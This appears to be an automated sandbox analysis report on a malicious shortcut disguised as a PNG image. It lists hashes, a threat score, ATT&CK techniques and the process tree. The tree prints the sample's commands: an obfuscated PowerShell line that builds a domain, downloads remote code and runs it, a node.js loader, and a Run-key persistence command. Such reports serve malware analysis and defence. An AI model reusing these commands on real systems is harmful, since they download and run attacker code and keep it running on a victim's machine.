ef84e24d62ba2008a6059e04c38379bc7ad335ababd7cc4594108ab800a67c36

Analysis

max time kernel
299s
max time network
285s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
09/09/2026, 08:54

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General

Target
IMG_20260908_123442.png.lnk
Size 1KB
Sample260909-kt178adn71
SHA256 ef84e24d62ba2008a6059e04c38379bc7ad335ababd7cc4594108ab800a67c36
MD5 948c5334e4a1edfe3539ea15aa38a644
SHA1 9e865ff90e9b43cc3763aa808c79ea2d7d5dce5f
SHA512 1dcb273dfb5e6436b8a34e80a08cee5159f6189755fa01452dc38ce185d42064c03dead84d06ca7893088214f00890db39ec6de7725b380e54cf49ddfea84e1f
TLSH
T11641EF155BF11318D2B34B3AACB5F2114736BA65ED164FDE428092481C60129E879F2F
MD5 SHA1 SHA512 TLSH

Score

8^/10

execution persistence

Malware Config

Signatures

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
5	4892	powershell.exe
8	4892	powershell.exe

Executes dropped EXE 3 IoCs

pid	Process
5312	node.exe
4560	node.exe
4332	node.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3989226554-2204910950-1522900112-1000\Software\Microsoft\Windows\CurrentVersion\Run\9045b3ab-cb45-495e-acca-eebe4c128a46 = "\"C:\\Users\\Admin\\AppData\\Local\\Nodejs\\node-v26.4.0-win-x64\\node.exe\" -e \"require('child_process').spawn(process.execPath, ['C:\\\\Users\\\\Admin\\\\AppData\\\\Local\\\\Nodejs\\\\cHR16GufOWY6eKd.js'], {detached: true, stdio: 'ignore', windowsHide: true}).unref()\""	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5840	powershell.exe
5708	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2804	cmd.exe

Checks processor information in registry 2 TTPs 24 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\~MHz	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\ProcessorNameString	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\ProcessorNameString	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3	node.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4892	powershell.exe
4892	powershell.exe
4892	powershell.exe
4892	powershell.exe
4892	powershell.exe
4892	powershell.exe
4892	powershell.exe
4892	powershell.exe
4892	powershell.exe
4892	powershell.exe
4892	powershell.exe
4892	powershell.exe
4892	powershell.exe
4892	powershell.exe
4892	powershell.exe
4892	powershell.exe
4892	powershell.exe
4892	powershell.exe
4892	powershell.exe
4892	powershell.exe
4892	powershell.exe
4892	powershell.exe
4892	powershell.exe
4892	powershell.exe
4892	powershell.exe
4892	powershell.exe
4892	powershell.exe
4892	powershell.exe
4892	powershell.exe
4892	powershell.exe
4892	powershell.exe
4892	powershell.exe
4892	powershell.exe
4892	powershell.exe
4892	powershell.exe
4892	powershell.exe
4892	powershell.exe
4892	powershell.exe
4892	powershell.exe
4892	powershell.exe
4892	powershell.exe
4892	powershell.exe
4892	powershell.exe
4516	powershell.exe
4516	powershell.exe
4516	powershell.exe
4516	powershell.exe
4516	powershell.exe
4516	powershell.exe
4516	powershell.exe
4516	powershell.exe
4516	powershell.exe
4516	powershell.exe
4516	powershell.exe
4516	powershell.exe
4516	powershell.exe
4516	powershell.exe
4516	powershell.exe
4516	powershell.exe
4516	powershell.exe
4516	powershell.exe
4516	powershell.exe
4516	powershell.exe
4516	powershell.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

description	pid	Process
Token: SeDebugPrivilege	4892	powershell.exe
Token: SeDebugPrivilege	4516	powershell.exe
Token: SeDebugPrivilege	5840	powershell.exe
Token: SeDebugPrivilege	5708	powershell.exe
Token: SeDebugPrivilege	4824	powershell.exe
Token: SeDebugPrivilege	5248	powershell.exe
Token: SeDebugPrivilege	3704	powershell.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 2804 wrote to memory of 4892	2804	cmd.exe	90
PID 4892 wrote to memory of 5884	4892	powershell.exe	91
PID 5884 wrote to memory of 1300	5884	csc.exe	92
PID 4892 wrote to memory of 5312	4892	powershell.exe	95
PID 5312 wrote to memory of 4516	5312	node.exe	97
PID 5312 wrote to memory of 5840	5312	node.exe	99
PID 5312 wrote to memory of 5708	5312	node.exe	101
PID 4560 wrote to memory of 4332	4560	node.exe	105
PID 4332 wrote to memory of 4824	4332	node.exe	106
PID 5312 wrote to memory of 5248	5312	node.exe	108
PID 5312 wrote to memory of 3704	5312	node.exe	110

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\IMG_20260908_123442.png.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2804
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" irm (@('c','6.','om','2','pdesk-08','hel')[5,4,3,1,0,2] -join $Vpa1UIyh) | Invoke-Expression
  2⤵
  - Badlisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4892
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\iupmwub1\iupmwub1.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5884
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7C0C.tmp" "c:\Users\Admin\AppData\Local\Temp\iupmwub1\CSCF36347A1AA8B4BEAACAF6AA976A5FEF9.TMP"
      4⤵
      PID:1300
- - C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node.exe
    "C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node.exe" C:\Users\Admin\AppData\Local\Nodejs\cHR16GufOWY6eKd.js helpdesk-0826.com
    3⤵
    - Executes dropped EXE
    - Checks processor information in registry
    - Suspicious use of WriteProcessMemory
    PID:5312
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -c "(Get-Process | Where-Object { $_.Path -eq \"C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node.exe\" }).Count"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4516
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -c "(Get-ItemProperty -Path \"HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\" -Name \"9045b3ab-cb45-495e-acca-eebe4c128a46\").\"9045b3ab-cb45-495e-acca-eebe4c128a46\""
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious use of AdjustPrivilegeToken
      PID:5840
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -c "$code = \"require('child_process').spawn(process.execPath, ['C:\\Users\\Admin\\AppData\\Local\\Nodejs\\cHR16GufOWY6eKd.js'], {detached: true, stdio: 'ignore', windowsHide: true}).unref()\"; $command = \"\"\"C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node.exe\"\" -e \"\"$code\"\"\"; Set-ItemProperty -Path \"HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\" -Name \"9045b3ab-cb45-495e-acca-eebe4c128a46\" -Value $command"
      4⤵
      Adds Run key to start application
      Command and Scripting Interpreter: PowerShell
      Suspicious use of AdjustPrivilegeToken
      PID:5708
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -c "(Get-ItemProperty -Path \"HKLM:\SOFTWARE\Microsoft\Cryptography\" -Name \"MachineGuid\").\"MachineGuid\""
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:5248
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -c "(Get-ItemProperty -Path \"HKLM:\SOFTWARE\Microsoft\SQMClient\" -Name \"MachineId\").\"MachineId\""
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3704

C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node.exe
"C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node.exe" -e "require('child_process').spawn(process.execPath, ['C:\\Users\\Admin\\AppData\\Local\\Nodejs\\cHR16GufOWY6eKd.js'], {detached: true, stdio: 'ignore', windowsHide: true}).unref()"
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4560
- C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node.exe
  C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Nodejs\cHR16GufOWY6eKd.js
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4332
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -c "(Get-Process | Where-Object { $_.Path -eq \"C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node.exe\" }).Count"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4824

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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